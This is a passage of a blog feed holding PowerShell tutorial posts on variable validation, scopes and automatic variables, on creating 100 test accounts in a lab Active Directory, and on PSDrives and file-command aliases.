align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New">.Attributes.Add($(</font><font color="#5f9ea0" size="2" face="Courier New"><b>New-Object</font><font color="#000000" size="2" face="Courier New"></b> </font><font color="#800000" size="2" face="Courier New">System.Management.Automation.ValidateSetAttribute</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-argumentList</font><font color="#000000" size="2" face="Courier New"></i> </font><font color="#800000" size="2" face="Courier New">"yes"</font><font color="#000000" size="2" face="Courier New">, </font><font color="#800000" size="2" face="Courier New">"no"</font><font color="#000000" size="2" face="Courier New">, </font><font color="#800000" size="2" face="Courier New">"y"</font><font color="#000000" size="2" face="Courier New">, </font><font color="#800000" size="2" face="Courier New">"n"</font><font color="#000000" size="2" face="Courier New">))<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"no"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"y"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"n"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"si"</font></p><font color="#ff0000">The variable cannot be validated because the value si is not a valid value for the var2 variable.
At line:1 char:6
+ $var2 &lt;&lt;&lt;&lt;  = "si"
    + CategoryInfo          : MetadataError: (:) [], ValidationMetadataException
    + FullyQualifiedErrorId : ValidateSetFailure</font>
</pre>
<p>Lets set a pattern to match a string starting with a specific string. The pattern should be a regular expression:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$pattern_var</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"PS Rocks uhmmm"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$pvar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">Get-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">pattern_var</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$pattern</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"PS Rocks*"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$pvar</font><font color="#000000" size="2" face="Courier New">.Attributes.Add($(</font><font color="#5f9ea0" size="2" face="Courier New"><b>New-Object</font><font color="#000000" size="2" face="Courier New"></b> </font><font color="#800000" size="2" face="Courier New">System.Management.Automation.ValidatePatternAttribute</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-ArgumentList</font><font color="#000000" size="2" face="Courier New"></i> </font><font color="#800080" size="2" face="Courier New">$pattern</font><font color="#000000" size="2" face="Courier New">))<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$pattern_var</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"PS Sucks!"</font><font color="#000000" size="2" face="Courier New"><p align="left"><font color="#ff0000">The variable cannot be validated because the value </font></font><font size="2" face="Courier New"><b><font color="#ff0000">PS</font></font><font size="2" face="Courier New"></b><font color="#ff0000"> Sucks</font></font><font color="#ff0000"><font size="2" face="Courier New">!</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">is</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">not</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">a</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">valid</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">value</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">for</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">the</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">pattern_var</font></font><font size="2" face="Courier New"><font color="#ff0000"> variable.</font><p align="left"><font color="#ff0000">At line:1 char:13</font><p align="left"></font><font color="#ff0000"><font size="2" face="Courier New">+</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">$pattern_var</font><font size="2" face="Courier New"> &lt;&lt;&lt;&lt; </font><font size="2" face="Courier New">=</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">"PS Sucks!"</font></font><font size="2" face="Courier New"><p align="left"></font><font color="#ff0000" size="2" face="Courier New">+</font><font size="2" face="Courier New"><font color="#ff0000"> CategoryInfo : MetadataError: (:) [], ValidationMetadataException</font><p align="left"></font><font color="#ff0000"><font size="2" face="Courier New">+</font><font size="2" face="Courier New"> FullyQualifiedErrorId : ValidateSetFailure</font></font></p>
</pre>
<p>Lets look at validating a length from 1 to 8:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$length_var</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"1234"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$lvar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">Get-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">length_var</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$lvar</font><font color="#000000" size="2" face="Courier New">.Attributes.Add($(</font><font color="#5f9ea0" size="2" face="Courier New"><b>New-Object</font><font color="#000000" size="2" face="Courier New"></b> </font><font color="#800000" size="2" face="Courier New">System.Management.Automation.ValidateLengthAttribute</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-ArgumentList</font><font color="#000000" size="2" face="Courier New"></i> 1,8))<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$length_var</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"Hello I'm longer than 8 chars"</font><font color="#000000" size="2" face="Courier New"><p align="left"><font color="#ff0000">The variable cannot be validated because the value Hello I</font></font><font size="2" face="Courier New"><font color="#ff0000">'m longer than 8 chars is not a valid value for the length_var variable.</font><p align="left"><font color="#ff0000">At line:1 char:12</font><p align="left"><font color="#ff0000">+ $length_var &lt;&lt;&lt;&lt; = "Hello I'</font></font><font color="#ff0000" size="2" face="Courier New">m longer than 8 chars</font><font size="2" face="Courier New"><font color="#ff0000">"</font><p align="left"><font color="#ff0000">+ CategoryInfo : MetadataError: (:) [], ValidationMetadataException</font><p align="left"><font color="#ff0000">+ FullyQualifiedErrorId : ValidateSetFailure</font></font></p>
</pre>
<p>For the other attributes of Null and Empty checking we just create the object with no arguments and pass it as an attribute.</p>
<h2>Variable Scopes</h2>
<p>Just like with any other shell that supports scripting and most modern scripting languages variables will have a scope. Scope is in what parts of a session or script the variable is available to us for use. In PowerShell the scopes are:</p>
<ul>
<li>$global – Variables are accessible to scripts, function and to any cmdlet in the current session.</li>
<li>$script – Variables are only accessible inside the running context of the script and are discarded after the script finishes executing.</li>
<li>$private – Variables are valid only in the current scope, either a script or a function. They cannot be passed to other scopes.</li>
<li>$local – Variables are valid only in the current scope of the script or session. All scopes called with them can read, but not change, the contents of the variable and it is the default when creating a variable.</li></ul>
<p>to declare a variable in an scope other than local scope we do it by appending to the beginning of the variable declaration the scope:</p><pre class="brush: ps;"><font color="#008000" size="2" face="Courier New"><p align="left"># Declaring the variable<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$global:gvar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"This is a global variable"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$gvar</font><font color="#000000" size="2" face="Courier New"><p align="left">This is a global variable<p align="left"><p align="left"></font><font color="#008000" size="2" face="Courier New"># Using the New-Variable cmdlet<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$global:gvar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"This is a global variable"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$gvar</font><font color="#000000" size="2" face="Courier New"><p align="left">This is a global variable</font></p></pre>
<h2>Automatic Variables</h2>
<p>Automatic variables are created and populated when the session is launched. These variables will contain user information, system information, default variables, run time variables and settings for PowerShell. To get a look at the variables and what they do we can either do Get-Help about_Automatic_Variables or list the variables and select only the name and description as shown bellow:</p><pre><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Get-Variable</font><font color="#000000" size="2" face="Courier New"> | </font><font color="#5f9ea0" size="2" face="Courier New"><b>select</font><font color="#000000" size="2" face="Courier New"></b> name,description | </font><font color="#5f9ea0" size="2" face="Courier New"><b>ft</font><font color="#000000" size="2" face="Courier New"></b> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-AutoSize</font><font color="#000000" size="2" face="Courier New"></i> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-Wrap</i></font></p>
Name                          Description
----                          -----------
$
?                             Execution status of last command.
^
_
args
ConfirmPreference             Dictates when confirmation should be requested. Confirmation is requested when the Confir
                              mImpact of the operation is equal to or greater than $ConfirmPreference. If $ConfirmPrefe
                              rence is None, actions will only be confirmed when Confirm is specified.
ConsoleFileName               Name of the current console file.
DebugPreference               Dictates action taken when an Debug message is delivered.
Error
ErrorActionPreference         Dictates action taken when an Error message is delivered.
ErrorView                     Dictates the view mode to use when displaying errors.
ExecutionContext              The execution objects available to cmdlets.
false                         Boolean False
FormatEnumerationLimit        Dictates the limit of enumeration on formatting IEnumerable objects.
HOME                          Folder containing the current user's profile.
Host                          This is a reference to the host of this Runspace.
input
MaximumAliasCount             The maximum number of aliases allowed in a session.
MaximumDriveCount             The maximum number of drives allowed in a session.
MaximumErrorCount             The maximum number of errors to retain in a session.
MaximumFunctionCount          The maximum number of functions allowed in a session.
MaximumHistoryCount           The maximum number of history objects to retain in a session.
MaximumVariableCount          The maximum number of variables allowed in a session.
MyInvocation
NestedPromptLevel             Dictates what type of prompt should be displayed for the current nesting level.
null                          References to the null variable always return the null value. Assignments have no effect.
OutputEncoding                The text encoding used when piping text to a native executable.
PID                           Current process ID.
PROFILE
ProgressPreference            Dictates action taken when Progress Records are delivered.
PSBoundParameters
PSCulture                     Culture of the current Windows PowerShell Session.
PSEmailServer                 Variable to hold the Email Server. This can be used instead of HostName parameter in Send
                              -MailMessage cmdlet.
PSHOME                        Parent folder of the host application of this Runspace.
PSSessionApplicationName      AppName where the remote connection will be established
PSSessionConfigurationName    Name of the session configuration which will be loaded on the remote computer
PSSessionOption               Default session options for new remote sessions.
PSUICulture                   UI Culture of the current Windows PowerShell Session.
PSVersionTable                Version information for current PowerShell session.
PWD
ReportErrorShowExceptionClass Causes errors to be displayed with a description of the error class.
ReportErrorShowInnerException Causes errors to be displayed with the inner exceptions.
ReportErrorShowSource         Causes errors to be displayed with the source of the error.
ReportErrorShowStackTrace     Causes errors to be displayed with a stack trace.
ShellId                       The ShellID identifies the current shell.  This is used by #Requires.
StackTrace
true                          Boolean True
VerbosePreference             Dictates the action taken when a Verbose message is delivered.
WarningPreference             Dictates the action taken when a Warning message is delivered.
WhatIfPreference              If true, WhatIf is considered to be enabled for all commands.

</pre>
<p>One of the variables you might find your self using is to check if the last cmdlet you invoked ran successfully or not, the exit state is saved in $? with a value of False if it failed and True if it was successful. </p><pre>
<font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Get-nonexistingcmdlet</font><font color="#000000" size="2" face="Courier New"><p align="left"><font color="#ff0000">The term </font></font><font color="#ff0000"><font size="2" face="Courier New">'Get-nonexistingcmdlet'</font><font size="2" face="Courier New"> is not recognized as the name of a cmdlet, </font><font size="2" face="Courier New">function</font><font size="2" face="Courier New">, script file, or operable program. Check the spelling of the name, or </font><font size="2" face="Courier New">if</font></font><font size="2" face="Courier New"><font color="#ff0000"> a path was included, verify that the path</font><p align="left"><font color="#ff0000">is correct and </font></font><font color="#ff0000" size="2" face="Courier New">try</font><font size="2" face="Courier New"><font color="#ff0000"> again.</font><p align="left"><font color="#ff0000">At line:1 char:22</font><p align="left"></font><font color="#ff0000" size="2" face="Courier New">+</font><font size="2" face="Courier New"><font color="#ff0000"> Get-nonexistingcmdlet &lt;&lt;&lt;&lt;</font><p align="left"></font><font color="#ff0000" size="2" face="Courier New">+</font><font size="2" face="Courier New"><font color="#ff0000"> CategoryInfo : ObjectNotFound: (Get-nonexistingcmdlet:String) [], CommandNotFoundException</font><p align="left"></font><font color="#ff0000" size="2" face="Courier New">+</font><font color="#000000" size="2" face="Courier New"><font color="#ff0000"> FullyQualifiedErrorId : CommandNotFoundException</font><p align="left"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$?</font><font color="#000000" size="2" face="Courier New"><p align="left">False<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Get-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">pshome</font><font color="#000000" size="2" face="Courier New"><p align="left"><p align="left">Name Value<p align="left">--</font><font color="#ff0000" size="2" face="Courier New">--</font><font color="#000000" size="2" face="Courier New"> ---</font><font color="#ff0000" size="2" face="Courier New">--</font><font color="#000000" size="2" face="Courier New"><p align="left">PSHOME C:\Windows\System32\WindowsPowerShell\v1.0<p align="left"><p align="left"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$?</font><font color="#000000" size="2" face="Courier New"><p align="left">True</font>
</p></pre>
<p>If we are executing system executable the variable with the last exit code would be $lastexitcode returning the exit code for the error found when executing or 0 if it executed successfully.</p><pre><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">wmic</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">systemdrive</font><font color="#000000" size="2" face="Courier New"><p align="left">systemdrive </font><font color="#ff0000" size="2" face="Courier New">-</font><font color="#000000" size="2" face="Courier New"> Alias not found.<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$LASTEXITCODE</font><font color="#000000" size="2" face="Courier New"><p align="left">44135<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">hostname</font><font color="#000000" size="2" face="Courier New"><p align="left">infidel01<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$LASTEXITCODE</font><font color="#000000" size="2" face="Courier New"><p align="left">0</font>
</p></pre>



<p>Some of the automatic variables can be changed so as to customize the session, others are read only and others are modified by the session it self as it executes. Many of these variable will prove useful as you work with PowerShell so I invite you to read the help on automatic variables.</p>
<h2>Conclusion </h2>
<p>I only covered some of the main points of variables and how to work with them. I do invite you to read more about them in the internal documentation that Microsoft PowerShell provides using the Get-Help cmdlet:</p>
<ul>
<li>about_Variables</li>
<li>about_Automatic_Variables</li>
<li>about_Environment_Variables</li>
<li>about_Preference_Variables</li>
<li>about_Scopes</li></ul>
<p>As always I hope you find this blog post useful and informative.</p>]]></content></entry><entry><title>Creating Test Accounts on a Windows 2008 R2 DC with PowerShell</title><id>http://www.darkoperator.com/blog/2012/4/11/creating-test-accounts-on-a-windows-2008-r2-dc-with-powershe.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/4/11/creating-test-accounts-on-a-windows-2008-r2-dc-with-powershe.html"/><author><name>Carlos Perez</name></author><published>2012-04-11T16:00:51Z</published><updated>2012-04-11T16:00:51Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>Recently I had to rebuild my lab do to that I had cloned a bunch of VM’s and forgot to run sysprep on them. This caused problems do to link SID’s when I installed Exchange 2010 in my home lab so I decided to rebuild the whole AD and services in it. So I decided to share how I created 100 test accounts on an isolated part of my lab network.</p>  <p>After installing the Active Directory Service and making the changes to DNS so it would forward to the proper DNS and made sure I had a Reverse Lookup Zone I wanted to create 100 test domain accounts. I normally use cmd.exe with dsadd.exe command, but this time I wanted to do it using PowerShell and this is with what I came up with as a command:</p>  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">  1: import-module activedirectory
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">  2: (1..100) | <span style="color: #0000ff">foreach</span> {New-ADUser -SamAccountName &quot;<span style="color: #8b0000">User$($_.tostring())</span>&quot; -Name &quot;<span style="color: #8b0000">User$($_.tostring())</span>&quot; -DisplayName &quot;<span style="color: #8b0000">User$($_.tostring())</span>&quot; -AccountPassword (ConvertTo-SecureString -AsPlainText &quot;<span style="color: #8b0000">P@ssword$($_.tostring())</span>&quot; -Force) -Enabled $<span style="color: #0000ff">true</span> -EmailAddress &quot;<span style="color: #8b0000">user$($_.tostring())@acmelabs.com</span>&quot; }</pre></pre>

<p>The commands are broken as so:</p>

<ul>
  <li>On line 1 I import the Active Directory PowerShell Module on the DC. If you want to see the cmdlets available on this module you can run&#160; <strong>Get-Command -Module activedirectory </strong>this will list all of the cmdlets available to us to manage Active Directory. </li>

  <li>On line 1 I generated a range from 1 to 100 and piped it to the cmdlet ForEach-Object and gave I a code block to run the cmdlet New-ADUser. To get more info on this cmdlet I invite you to run <strong>Get-Help New-ADUser –Full</strong> this will give you the full help plus examples of the cmdlet. Since the default variable of each object processed by the pipe is $_ and in the case of a range what I’m getting are Int32 objects I need to use the method of .ToString() to convert them to string and I use $() inside a double quoted string to expand the variable. What I do for each user I created was:</li>

  <ul>
    <li>Set a Name</li>

    <li>Set a Display Name</li>

    <li>Set SAM Account Name</li>

    <li>Set the Password. Now the cmdlet requires a secure string as value for the parameter, for this I used the ConvertTo-SecureString cmdlet to generate one from a plaintext quoted string.</li>

    <li>Enable the account and set an email address since I will be installing Exchange later in this environment. </li>
  </ul>
</ul>

<p> I do hope you find this useful and informative as always. </p>]]></content></entry><entry><title>Introduction to Microsoft PowerShell &amp;ndash; Working with PSDrives and Items</title><id>http://www.darkoperator.com/blog/2012/4/9/introduction-to-microsoft-powershell-ndash-working-with-psdr.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/4/9/introduction-to-microsoft-powershell-ndash-working-with-psdr.html"/><author><name>Carlos Perez</name></author><published>2012-04-09T22:10:19Z</published><updated>2012-04-09T22:10:19Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>PowerShell provides many ways to work with files and with other sorts of structured data it treats as files. Typically as shown before we can use the same commands as in cmd.exe but they parameters change also we can call many using he names of commands found in Unix type systems, these are aliases for PowerShell cmdlets so as to make the transition to PowerShell easier for administrators. Let have a look at the common commands used to manage files and their aliases. Do not worry to much on the manipulation commands used since I will cover those later in other blog posts but do take a look at what those aliases map to:</p>  <pre>PS C:\&gt; Get-Alias | where {$_.definition -match &quot;path|item|content|location&quot;} | Group-Object definition

Count Name                      Group
----- ----                      -----
    1 Add-Content               {ac}
    3 Get-Content               {cat, gc, type}
    3 Set-Location              {cd, chdir, sl}
    1 Clear-Content             {clc}
    1 Clear-Item                {cli}
    1 Clear-ItemProperty        {clp}
    3 Copy-Item                 {copy, cp, cpi}
    1 Copy-ItemProperty         {cpp}
    1 Convert-Path              {cvpa}
    6 Remove-Item               {del, erase, rd, ri...}
    3 Get-ChildItem             {dir, gci, ls}
    1 Get-Item                  {gi}
    2 Get-Location              {gl, pwd}
    1 Get-ItemProperty          {gp}
    1 Invoke-Item               {ii}
    3 Move-Item                 {mi, move, mv}
    1 Move-ItemProperty         {mp}
    1 New-Item                  {ni}
    1 Pop-Location              {popd}
    1 Push-Location             {pushd}
    2 Rename-Item               {ren, rni}
    1 Rename-ItemProperty       {rnp}
    1 Remove-ItemProperty       {rp}
    1 Resolve-Path              {rvpa}
    1 Set-Content               {sc}
    1 Set-Item                  {si}
    1 Set-ItemProperty          {sp}</pre>

<p>As we can see in addition to the commands that we know from Unix type systems and those we use from cmd.exe we can find that PowerShell provides even more aliases for those cmdlets and for other actions we will discuss we will see that it has it’s own aliases and cmdlets.</p>

<h2>PSDrives</h2>

<p>Lets start with the concept that PowerShell treats files and folders as Items, the reason for this is that PowerShell treats other structure data as a file systems and calls the mappings to them PSDrives. To list the PSDrives on our current system we use the cmdlet Get-PSDive:</p>

<pre>PS C:\&gt; Get-PSDrive | ft -AutoSize

Name     Used (GB) Free (GB) Provider    Root               CurrentLocation
----     --------- --------- --------    ----               ---------------
Alias                        Alias
C            60.13    535.94 FileSystem  C:\
cert                         Certificate \
D           764.70    166.81 FileSystem  D:\
E           617.89    313.62 FileSystem  E:\
Env                          Environment
F                            FileSystem  F:\
Function                     Function
G                            FileSystem  G:\
H                            FileSystem  H:\
HKCU                         Registry    HKEY_CURRENT_USER
HKLM                         Registry    HKEY_LOCAL_MACHINE
I                            FileSystem  I:\
J                            FileSystem  J:\
Variable                     Variable
WSMan                        WSMan</pre>

<p>As we can see in addition to the normal drives we have on the system we have others drives we can navigate to:</p>

<ul>
  <li>Alias – Represent all aliases valid for the current PowerShell Session. </li>

  <li>Cert – Certificate store for the user represented in Current Location. </li>

  <li>Env – All environment variables for the current PowerShell Session. </li>

  <li>Function - All functions available for the current PowerShell Session. </li>

  <li>HKLM - Registry HKey Local Machine Registry Hive. </li>

  <li>HKCU - Registry HKey Current User Hive for the user the PowerShell session is running as. </li>

  <li>WSMan - WinRM (Windows Remote Management) configuration and credentials. </li>
</ul>

<p>Each of these PowerShell Drives are dependent on what is called PowerShell Providers that allow the access to the structured information. These can be listed with the Get-PSProvider cmndlet:</p>

<pre>PS C:\&gt; Get-PSProvider | ft -AutoSize

Name        Capabilities                Drives
----        ------------                ------
WSMan       Credentials                 {WSMan}
Alias       ShouldProcess               {Alias}
Environment ShouldProcess               {Env}
FileSystem  Filter, ShouldProcess       {C, D, E, F...}
Function    ShouldProcess               {Function}
Registry    ShouldProcess, Transactions {HKLM, HKCU}
Variable    ShouldProcess               {Variable}
Certificate ShouldProcess               {cert}</pre>

